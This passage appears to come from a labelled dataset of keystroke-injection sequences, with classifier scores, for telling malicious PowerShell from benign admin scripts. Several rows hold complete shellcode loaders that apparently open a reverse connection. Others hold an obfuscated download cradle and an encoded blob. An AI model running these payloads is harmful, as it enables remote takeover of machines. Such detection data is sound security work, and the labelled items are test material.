Assert-NotNull $result enter Assert-Equal 2 $result.Count enter Assert-Empty $result[0] enter Assert-Empty $result[1] enter } enter [decoded_payloads] enter [decoded:long_base64_literal] enter `1234567890-=qwertyuiop[]\asdfghjkl;'zxcvbnm,./ ~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:""ZXCVBNM<>? enter enter",0,1,6.2065876e-05,0.9999379
win+r powershell enter win capslock capslock capslock capslock safari enter win l $icon$bypass$drag$y$m$v$c$l$x for #receiver enter enter,0,1,0.12090664,0.8790934
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x55,0xc9,0xde,0x60,0x68,0x02,0x00,0xd4,0xea,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter configuration PSModule_UninstallModuleConfig enter { enter param enter ( enter [Parameter()] enter [System.String[]] enter $NodeName = 'localhost', enter [Parameter(Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [System.String] enter $ModuleName enter ) enter Import-DscResource -ModuleName 'PowerShellGet' enter Node $nodeName enter { enter PSModule 'InstallModule' enter { enter Ensure = 'Absent' enter Name = $ModuleName enter } enter } enter } enter [SystEm.NeT.SeRvIcePoInTMaNAgeR]::ExPECt100COnTinue = 0;$wC=New-OBJEcT SysTem.NET.WebCLienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeadErs.Add('User-Agent',$u);$wC.PRoXy = [SysTEM.NET.WEbRequesT]::DEFAUlTWeBProXy;$Wc.PROXY.CrEdENTials = [SYStem.NET.CreDEnTIaLCAchE]::DEfaULtNETWoRkCrEDENtIaLs;$K='5Vdki% enter",1,1,5.5284992e-05,0.9999447
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_wgvj3rxb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_40.txt"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 3."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.503785e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_a8t8pduq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4108278e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_io92lznt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.468092e-05
"win+r enter powershell enter enter enter  enter enter $data = $null enter enter foreach ($file in (ls *svcall.xml)) { enter $data += Import-Clixml $file enter } enter enter $data | ? { $_.StartMode -eq ""Auto"" -or $_.State -eq ""Running"" } enter enter",0,0,0.9998609,0.00013912572
"win+r enter powershell enter enter enter $TOyJ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $TOyJ -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd0,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x47,0xbf,0x6a,0xb4,0x96,0x80,0x31,0x7a,0x18,0x83,0xea,0xfc,0x03,0x7a,0x7e,0x56,0x63,0x7c,0x96,0x14,0x8c,0x7d,0x66,0x79,0x04,0x98,0x57,0xb9,0x72,0xe8,0xc7,0x09,0xf0,0xbc,0xeb,0xe2,0x54,0x55,0x78,0x86,0x70,0x5a,0xc9,0x2d,0xa7,0x55,0xca,0x1e,0x9b,0xf4,0x48,0x5d,0xc8,0xd6,0x71,0xae,0x1d,0x16,0xb6,0xd3,0xec,0x4a,0x6f,0x9f,0x43,0x7b,0x04,0xd5,0x5f,0xf0,0x56,0xfb,0xe7,0xe5,0x2e,0xfa,0xc6,0xbb,0x25,0xa5,0xc8,0x3a,0xea,0xdd,0x40,0x25,0xef,0xd8,0x1b,0xde,0xdb,0x97,0x9d,0x36,0x12,0x57,0x31,0x77,0x9b,0xaa,0x4b,0xbf,0x1b,0x55,0x3e,0xc9,0x58,0xe8,0x39,0x0e,0x23,0x36,0xcf,0x95,0x83,0xbd,0x77,0x72,0x32,0x11,0xe1,0xf1,0x38,0xde,0x65,0x5d,0x5c,0xe1,0xaa,0xd5,0x58,0x6a,0x4d,0x3a,0xe9,0x28,0x6a,0x9e,0xb2,0xeb,0x13,0x87,0x1e,0x5d,0x2b,0xd7,0xc1,0x02,0x89,0x93,0xef,0x57,0xa0,0xf9,0x67,0x9b,0x89,0x01,0x77,0xb3,0x9a,0x72,0x45,0x1c,0x31,0x1d,0xe5,0xd5,0x9f,0xda,0x0a,0xcc,0x58,0x74,0xf5,0xef,0x98,0x5c,0x31,0xbb,0xc8,0xf6,0x90,0xc4,0x82,0x06,0x1d,0x11,0x3e,0x02,0x89,0x28,0x9f,0xd7,0xab,0x25,0xe2,0xe7,0x34,0x26,0x6b,0x01,0x1a,0x16,0x3c,0x9e,0xda,0xc6,0xfc,0x4e,0xb2,0x0c,0xf3,0xb1,0xa2,0x2e,0xd9,0xd9,0x48,0xc1,0xb4,0xb2,0xe4,0x78,0x9d,0x49,0x95,0x85,0x0b,0x34,0x95,0x0e,0xb8,0xc8,0x5b,0xe7,0xb5,0xda,0x0b,0x07,0x80,0x81,0x9d,0x18,0x3e,0xaf,0x21,0x8d,0xc5,0x66,0x76,0x39,0xc4,0x5f,0xb0,0xe6,0x37,0x8a,0xcb,0x2f,0xa2,0x75,0xa3,0x4f,0x22,0x76,0x33,0x06,0x28,0x76,0x5b,0xfe,0x08,0x25,0x7e,0x01,0x85,0x59,0xd3,0x94,0x26,0x08,0x80,0x3f,0x4f,0xb6,0xff,0x08,0xd0,0x49,0x2a,0x89,0x2c,0x9c,0x12,0xff,0x5c,0x1c;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$pBw=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($pBw.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$pBw,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.221521e-05,0.9999478
"win+r enter powershell enter enter enter Add-TestDynamicType enter enter Describe ""Where-Object"" -Tags ""CI"" { enter BeforeAll { enter $Computers = @( enter [PSCustomObject]@{ enter ComputerName = ""SPC-1234"" enter IPAddress = ""192.168.0.1"" enter NumberOfCores = 1 enter Drives = 'C','D' enter }, enter [PSCustomObject]@{ enter ComputerName = ""BGP-5678"" enter IPAddress = """" enter NumberOfCores = 2 enter Drives = 'C','D','E' enter }, enter [PSCustomObject]@{ enter ComputerName = ""MGC-9101"" enter NumberOfCores = 3 enter Drives = 'C' enter } enter ) enter } enter enter It ""Where-Object -Not Prop"" { enter $Result = $Computers | Where-Object -Not 'IPAddress' enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object -FilterScript {$true -ne $_.Prop}' { enter $Result = $Computers | Where-Object -FilterScript {$true -ne $_.IPAddress} enter $Result | Should -HaveCount 2 enter } enter enter It ""Where-Object Prop"" { enter $Result = $Computers | Where-Object 'IPAddress' enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object -FilterScript {$true -eq $_.Prop}' { enter $Result = $Computers | Where-Object -FilterScript {$true -eq $_.IPAddress} enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object -FilterScript {$_.Prop -contains Value}' { enter $Result = $Computers | Where-Object -FilterScript {$_.Drives -contains 'D'} enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object Prop -contains Value' { enter $Result = $Computers | Where-Object Drives -contains 'D' enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object -FilterScript {$_.Prop -in $Array}' { enter $Array = 'SPC-1234','BGP-5678' enter $Result = $Computers | Where-Object -FilterScript {$_.ComputerName -in $Array} enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object $Array -in Prop' { enter $Array = 'SPC-1234','BGP-5678' enter $Result = $Computers | Where-Object ComputerName -in $Array enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object -FilterScript {$_.Prop -ge 2}' { enter $Result = $Computers | Where-Object -FilterScript {$_.NumberOfCores -ge 2} enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object Prop -ge 2' { enter $Result = $Computers | Where-Object NumberOfCores -ge 2 enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object -FilterScript {$_.Prop -gt 2}' { enter $Result = $Computers | Where-Object -FilterScript {$_.NumberOfCores -gt 2} enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object Prop -gt 2' { enter $Result = $Computers | Where-Object NumberOfCores -gt 2 enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object -FilterScript {$_.Prop -le 2}' { enter $Result = $Computers | Where-Object -FilterScript {$_.NumberOfCores -le 2} enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object Prop -le 2' { enter $Result = $Computers | Where-Object NumberOfCores -le 2 enter $Result | Should -HaveCount 2 enter } enter enter It 'Where-Object -FilterScript {$_.Prop -lt 2}' { enter $Result = $Computers | Where-Object -FilterScript {$_.NumberOfCores -lt 2} enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object Prop -lt 2' { enter $Result = $Computers | Where-Object NumberOfCores -lt 2 enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object -FilterScript {$_.Prop -Like Value}' { enter $Result = $Computers | Where-Object -FilterScript {$_.ComputerName -like 'MGC-9101'} enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object Prop -like Value' { enter $Result = $Computers | Where-Object ComputerName -like 'MGC-9101' enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object -FilterScript {$_.Prop -Match Pattern}' { enter $Result = $Computers | Where-Object -FilterScript {$_.ComputerName -match '^MGC.+'} enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object Prop -like Value' { enter $Result = $Computers | Where-Object ComputerName -match '^MGC.+' enter $Result | Should -HaveCount 1 enter } enter enter It 'Where-Object should handle dynamic (DLR) objects' { enter $dynObj = [TestDynamic]::new() enter $Result = $dynObj, $dynObj | Where-Object FooProp -eq 123 enter $Result | Should -HaveCount 2 enter $Result[0] | Should -Be $dynObj enter $Result[1] | Should -Be $dynObj enter } enter enter It 'Where-Object should handle dynamic (DLR) objects, even without property name hint' { enter $dynObj = [TestDynamic]::new() enter $Result = $dynObj, $dynObj | Where-Object HiddenProp -eq 789 enter $Result | Should -HaveCount 2 enter $Result[0] | Should -Be $dynObj enter $Result[1] | Should -Be $dynObj enter } enter } enter enter [SystEm.NeT.SeRvIcePoInTMaNAgeR]::ExPECt100COnTinue = 0;$wC=New-OBJEcT SysTem.NET.WebCLienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeadErs.Add('User-Agent',$u);$wC.PRoXy = [SysTEM.NET.WEbRequesT]::DEFAUlTWeBProXy;$Wc.PROXY.CrEdENTials = [SYStem.NET.CreDEnTIaLCAchE]::DEfaULtNETWoRkCrEDENtIaLs;$K='5Vdki% enter enter",1,1,5.701623e-05,0.999943
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_x15h40d4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_75.csv"") -NoTypeInformation enter",0,0,0.9999664,3.360919e-05
"win+r powershell enter $J1r = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $J1r -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xee,0 enter xbe,0xfa,0x67,0xd8,0x2f,0xd9,0x74,0x24,0xf4,0x5b,0x31,0xc9,0xb1,0x47,0x83,0xc3,0 enter x04,0x31,0x73,0x14,0x03,0x73,0xee,0x85,0x2d,0xd3,0xe6,0xc8,0xce,0x2c,0xf6,0xac,0 enter x47,0xc9,0xc7,0xec,0x3c,0x99,0x77,0xdd,0x37,0xcf,0x7b,0x96,0x1a,0xe4,0x08,0xda,0 enter xb2,0x0b,0xb9,0x51,0xe5,0x22,0x3a,0xc9,0xd5,0x25,0xb8,0x10,0x0a,0x86,0x81,0xda,0 enter x5f,0xc7,0xc6,0x07,0 enter enter",1,1,5.4344375e-05,0.99994564
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_e7qyo7zw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter",0,0,0.9999651,3.4933826e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_qjh307w9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.427444e-05
"$0i157d2foha94cj = ""fvFjdmh1NWx2d29sIZjUJiN2MXhyd295YYvt7CCLhZs7jf5zYQJqc2h+NWxy enter PzsyNTZYREYxeSCeTQIBdS/dq1tIfEtrn6l861EOFMGaFI800xaE4V5x8iH3J/Q7v6OLUHNDHKSGVqkb enter 5hI155ev7KE4jtBgHD7GwSK3W8Or438Z2l5Tp+MnQGFdvzRXdkMwPM8IDuBlVPxDiqHIvOnyP06XW7oN enter 2MTjup21hRW6DJvR0In/rPb+F3B7yxjvFlVogtMLWJZpstPbMtTWU9WNm9ffpjHEiMXkLHVXIJTegOOu enter yBmEIr+c2haN1CuOshiuOsY9CNCNtOv54MPZSgSD512CoyDr5RD8qNnYDpACvCm9gEuO34bjnXH3w7d3 enter DlKWCaVgS5+my3cJgb0HL7U4wg0Oi8tfFNnI1dcWlvZT0f+mpooV+R/H+1GNZOtV0tiUy3hd6QnLNac9 enter bRIuvRsKbvlECB33P7DQqrzbrlGvB0JpMkbe07sbcyP8JRvGQvWTxkKNSWiAlpluhOu4wFhMuxF25RNv enter VbTp/0NnZdkF+SAUlcjO8GFYUXRmhSD+KI3OlnNUwkeK+AZa89kD+EKuetvfUYHoopGkbTnjt/uctYpZ enter HFVrq9dDR7jtQoLxCPRwDmzf+RsWxE5XHHAqGnWo7t73NhQaweKyylIyDYf2umyQqlhrXxqNNJPSRBTF enter R5COnd4kS1HUqYxPM9naqlf26JKPzx/x01TbdAMi/QCYY9VE+5RHPFQaH2N/GWD7XFItyT/v6Bceq79m enter xnr4LOebOdtDB+CgFEgM7HePBTcZtN/C0t8I//ubVEoJ7wxSy7gHNwIRcVhQwNCgGsZio83ndr+W44Sl enter 4YcAgWdkT4W/PUeVAA2x enter",1,1,6.5081644e-05,0.9999349
"win+r powershell enter function Get-TestUser() { enter if (-not $env:RsUser) { enter throw 'Environment variable RsUser is not defined!' enter } enter return $env:RsUser enter } enter Describe ""New-RsRestSession"" { enter Context ""Create a new session object"" { enter It ""Should work for default Url"" { enter $session = New-RsRestSession -Verbose enter $session | Should Not BeNullOrEmpty enter $session.Headers | Should Not BeNullOrEmpty enter $session.Headers['X-XSRF-TOKEN'] | Should Not BeNullOrEmpty enter } enter It ""Should work for explicit Url"" { enter $session = New-RsRestSession -ReportPortalUri 'http://localhost/reports' -Verbose enter $session | Should Not BeNullOrEmpty enter $session.Headers | Should Not BeNullOrEmpty enter $session.Headers['X-XSRF-TOKEN'] | Should Not BeNullOrEmpty enter } enter It ""Shouldn't work when incorrect Url is specified"" { enter { New-RsRestSession -ReportPortalUri 'http://localhost/reportserver' -Verbose } | Should Throw ""Invalid Report Portal Uri specified! Please make sure ReportPortalUri is the URL to the Report Portal!"" enter } enter } enter } enter",0,0,0.9998938,0.00010622294
delay_long enter win+r enter delay_short enter winword enter enter enter delay_medium enter enter enter delay_short enter unknown_key_action ALT q enter delay_short enter options spelling enter delay_medium enter enter enter delay_short enter tab enter delay_short enter enter enter delay_short enter the enter delay_short enter tab enter teh enter delay_short enter unknown_key_action ALT a enter delay_short enter enter enter delay_short enter unknown_key_action SHIFT TAB enter delay_short enter enter enter delay_short enter alt+f4 enter delay_short,1,1,5.7681125e-05,0.9999423
"win+r powershell enter  $data = $null foreach ($file in (ls *svcall.xml)) { $data += Import-Clixml enter $file } $data | Select-Object Caption, Pathname | Sort-Object Caption, Pathname enter | Group-Object Caption, Pathname | Sort-Object Name enter",0,0,0.98946464,0.010535398
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_oxy1f5ot"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4699216e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_k1vrjnvg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3619417e-05
"win+r powershell enter class ChannelRule { [string]$Channel [string[]]$IncludeCommands [string[]]$Ex enter cludeCommands ChannelRule() { $this.Channel = '*' $this.IncludeCommands = @( enter '*') $this.ExcludeCommands = @() } ChannelRule([string]$Channel, [string[]]$ enter IncludeCommands, [string]$ExcludeCommands) { enter enter",1,1,0.007068034,0.99293196
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x8b,0x4c,0x10,0x78,0xe3,0x4a,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x89,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x6f,0x70,0x2a,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.192789e-05,0.999948
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_xtkx6ke1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 20 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_20.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3732045e-05
